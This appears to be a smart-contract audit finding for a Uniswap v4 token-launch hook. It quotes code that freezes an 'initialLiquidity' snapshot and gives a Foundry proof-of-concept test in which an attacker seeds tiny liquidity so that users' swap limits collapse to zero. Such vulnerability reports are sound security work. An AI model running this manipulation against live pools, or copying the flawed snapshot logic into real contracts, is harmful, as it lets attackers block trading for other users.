function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
launchStartBlock = block.number;
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal override returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
@> if (initialLiquidity == 0) {
@> uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
@> initialLiquidity = uint256(liquidity);
@> }
uint256 phaseLimitBps = currentPhase == 1 ? phase1LimitBps : phase2LimitBps;
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
...
}
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
contract LiquiditySnapshotManipulationTest is Test, Deployers, ERC1155TokenReceiver {
TokenLaunchHook hook;
MockERC20 token;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100;
uint256 phase2LimitBps = 500;
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000;
uint256 phase2PenaltyBps = 500;
address attacker = address(0xB0B);
address user = address(0xAAA);
function setUp() public {
deployFreshManagerAndRouters();
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
token.mint(address(this), 1_000 ether);
token.mint(attacker, 100 ether);
token.mint(user, 100 ether);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(attacker);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(user);
token.approve(address(swapRouter), type(uint256).max);
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory args = abi.encode(
manager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_INITIALIZE_FLAG);
(address mined, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, args);
hook = new TokenLaunchHook{salt: salt}(
IPoolManager(manager),
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(hook) == mined, "Hook address mismatch");
(key,) = initPool(
ethCurrency,
tokenCurrency,
hook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
}
function test_LiquiditySnapshot_StuckAtTinyValue() public {
int24 TICK_LOWER = -887220;
int24 TICK_UPPER = 0;
uint160 sqrtLower = TickMath.getSqrtPriceAtTick(TICK_LOWER);
uint160 sqrtUpper = TickMath.getSqrtPriceAtTick(TICK_UPPER);
uint256 tinyEth = 0.001 ether;
uint128 tinyLiq = LiquidityAmounts.getLiquidityForAmount0(sqrtLower, sqrtUpper, tinyEth);
modifyLiquidityRouter.modifyLiquidity{value: tinyEth + 0.1 ether}(
key,
ModifyLiquidityParams({
tickLower: TICK_LOWER,
tickUpper: TICK_UPPER,
liquidityDelta: int256(uint256(tinyLiq)),
salt: bytes32(0)
}),
ZERO_BYTES
);
vm.deal(attacker, 1 gwei);
vm.startPrank(attacker);
SwapParams memory tinySwap = SwapParams({
zeroForOne: true,
amountSpecified: -int256(1 gwei),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
PoolSwapTest.TestSettings memory settings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
swapRouter.swap{value: 1 gwei}(key, tinySwap, settings, ZERO_BYTES);
vm.stopPrank();
uint256 initialLiqSnapshot = hook.initialLiquidity();
assertGt(initialLiqSnapshot, 0, "snapshot should capture tiny liquidity");
uint256 bigEth = 10 ether;
uint128 bigLiq = LiquidityAmounts.getLiquidityForAmount0(sqrtLower, sqrtUpper, bigEth);
modifyLiquidityRouter.modifyLiquidity{value: bigEth + 0.5 ether}(
key,
ModifyLiquidityParams({
tickLower: TICK_LOWER,
tickUpper: TICK_UPPER,
liquidityDelta: int256(uint256(bigLiq)),
salt: bytes32(0)
}),
ZERO_BYTES
);
assertEq(hook.initialLiquidity(), initialLiqSnapshot, "snapshot should NOT update after big liquidity");
uint256 maxSwapAmount = (initialLiqSnapshot * phase1LimitBps) / 10_000;
vm.deal(user, 0.01 ether);
vm.startPrank(user);
SwapParams memory userSwap = SwapParams({
zeroForOne: true,
amountSpecified: -int256(0.001 ether),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
swapRouter.swap{value: 0.001 ether}(key, userSwap, settings, ZERO_BYTES);
vm.stopPrank();
uint256 remaining = hook.getUserRemainingLimit(address(swapRouter));
assertEq(remaining, 0, "remaining limit should be effectively zero after tiny snapshot");
}
}